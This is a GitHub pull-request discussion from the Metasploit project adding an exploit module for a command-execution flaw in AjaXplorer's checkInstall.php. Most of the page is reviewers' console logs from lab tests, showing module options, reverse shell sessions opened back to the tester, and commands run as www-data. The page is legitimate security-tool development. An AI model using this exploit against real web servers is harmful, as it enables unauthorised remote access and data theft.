Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add OSVDB-63552 AjaXplorer module (2010) #900

Merged
merged 3 commits into from
Oct 15, 2012

Conversation

wchen-r7
Copy link
Contributor

This pull request was created on behalf of David Maciejak, who emailed it to our dev mailbox. Old bug.

This module exploits an arbitrary command execution vulnerability in the AjaXplorer 'checkInstall.php' script. All versions of AjaXplorer prior to 2.6 are vulnerable.

msf  exploit(ajaxplorer_checkinstall_exec) > rexploit
[*] Reloading module...

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo mhL4n8ad02mgEkZ2;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "mhL4n8ad02mgEkZ2\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (10.0.1.3:4444 -> 10.0.1.5:42557) at 2012-10-13 00:35:17 -0500

@jvazquez-r7
Copy link
Contributor

Testing!

print_error("#{peer} - This server may not be vulnerable")
else
print_status("#{peer} - Command output from the server:")
print_line(m[1])
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Using ruby 1.9 I get the output if I modify it to:

print_line(m)

msf  exploit(ajaxplorer_checkinstall_exec) > show options

Module options (exploit/multi/http/ajaxplorer_checkinstall_exec):

   Name       Current Setting     Required  Description
   ----       ---------------     --------  -----------
   Proxies                        no        Use a proxy chain
   RHOST      192.168.1.130       yes       The target address
   RPORT      80                  yes       The target port
   TARGETURI  /AjaXplorer-2.5.5/  yes       The base path to AjaXplorer
   VHOST                          no        HTTP server virtual host


Payload options (cmd/unix/generic):

   Name  Current Setting                          Required  Description
   ----  ---------------                          --------  -----------
   CMD   cat /var/www/AjaXplorer-2.5.5/index.php  yes       The command string to execute


Exploit target:

   Id  Name
   --  ----
   0   AjaXplorer 2.5.5 or older


msf  exploit(ajaxplorer_checkinstall_exec) > rexploit
[*] Reloading module...

[*] 192.168.1.130:80 - The server returned: 200 OK
[*] 192.168.1.130:80 - Command output from the server:

@jvazquez-r7
Copy link
Contributor

Working with:

  • Default payload
    msf  exploit(ajaxplorer_checkinstall_exec) > rexploit
    [*] Reloading module...
    
    

[] Started reverse double handler
[
] Accepted the first client connection...
[] Accepted the second client connection...
[
] Command: echo 8AqUziC45v0mge6x;
[] Writing to socket A
[
] Writing to socket B
[] Reading from sockets...
[
] Reading from socket A
[] A: "8AqUziC45v0mge6x\r\n"
[
] Matching...
[] B is input...
[
] Command shell session 1 opened (192.168.1.128:4444 -> 192.168.1.130:44162) at 2012-10-14 10:48:20 +0200

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
^C
Abort session 1? [y/N] y

  • CMD generic doesn't get output:
msf  exploit(ajaxplorer_checkinstall_exec) > show options
Module options (exploit/multi/http/ajaxplorer_checkinstall_exec):
   Name       Current Setting     Required  Description
   ----       ---------------     --------  -----------
   Proxies                        no        Use a proxy chain
   RHOST      192.168.1.130       yes       The target address
   RPORT      80                  yes       The target port
   TARGETURI  /AjaXplorer-2.5.5/  yes       The base path to AjaXplorer
   VHOST                          no        HTTP server virtual host
Payload options (cmd/unix/generic):
   Name  Current Setting                          Required  Description
   ----  ---------------                          --------  -----------
   CMD   cat /var/www/AjaXplorer-2.5.5/index.php  yes       The command string to execute
Exploit target:
   Id  Name
   --  ----
   0   AjaXplorer 2.5.5 or older
msf  exploit(ajaxplorer_checkinstall_exec) > rexploit
[*] Reloading module...
[*] 192.168.1.130:80 - The server returned: 200 OK
[*] 192.168.1.130:80 - Command output from the server:
?
[*] Exploit completed, but no session was created.

After modify L:101 according to my comment output is printed in my case. Awaiting for sinn3r check and response before merging.

Because the original script used match()
@wchen-r7
Copy link
Contributor Author

Corrected.

@jvazquez-r7 jvazquez-r7 merged commit cedcace into rapid7:master Oct 15, 2012
@wchen-r7 wchen-r7 deleted the ajaxplorer branch August 22, 2016 16:20
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants